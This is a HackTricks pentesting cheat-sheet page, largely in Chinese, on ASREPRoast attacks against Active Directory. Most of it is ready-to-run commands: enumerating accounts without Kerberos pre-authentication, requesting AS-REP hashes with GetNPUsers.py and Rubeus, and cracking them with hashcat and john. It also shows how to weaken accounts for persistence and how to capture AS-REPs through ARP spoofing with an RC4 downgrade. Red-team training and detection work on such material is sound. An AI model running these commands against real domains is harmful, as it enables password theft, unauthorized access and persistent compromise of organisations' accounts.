ASREPRoast

Reading time: 5 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

ASREPRoast

ASREPRoast是一种安全攻击,利用缺乏Kerberos预身份验证所需属性的用户。基本上,这个漏洞允许攻击者向域控制器(DC)请求用户的身份验证,而无需用户的密码。然后,DC会用用户的密码派生密钥加密的消息进行响应,攻击者可以尝试离线破解以发现用户的密码。

此攻击的主要要求是:

  • 缺乏Kerberos预身份验证:目标用户必须未启用此安全功能。
  • 连接到域控制器(DC):攻击者需要访问DC以发送请求并接收加密消息。
  • 可选的域账户:拥有域账户可以让攻击者通过LDAP查询更有效地识别易受攻击的用户。没有这样的账户,攻击者必须猜测用户名。

枚举易受攻击的用户(需要域凭据)

Using Windows
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
Using Linux
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

请求 AS_REP 消息

Using Linux
#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
Using Windows
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)

warning

AS-REP Roasting with Rubeus 将生成一个 4768,加密类型为 0x17,预认证类型为 0。

破解

bash
john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

持久性

强制 preauth 对于您拥有 GenericAll 权限(或写入属性的权限)的用户不是必需的:

Using Windows
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
Using Linux
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH 'target_user'

ASREProast 无需凭证

攻击者可以利用中间人位置捕获 AS-REP 数据包,因为它们在网络中传输时不依赖于 Kerberos 预身份验证被禁用。因此,它适用于 VLAN 上的所有用户。
ASRepCatcher 允许我们这样做。此外,该工具通过更改 Kerberos 协商强制客户端工作站使用 RC4。

bash
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP

# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher relay -dc $DC_IP --disable-spoofing

# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen

参考


tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks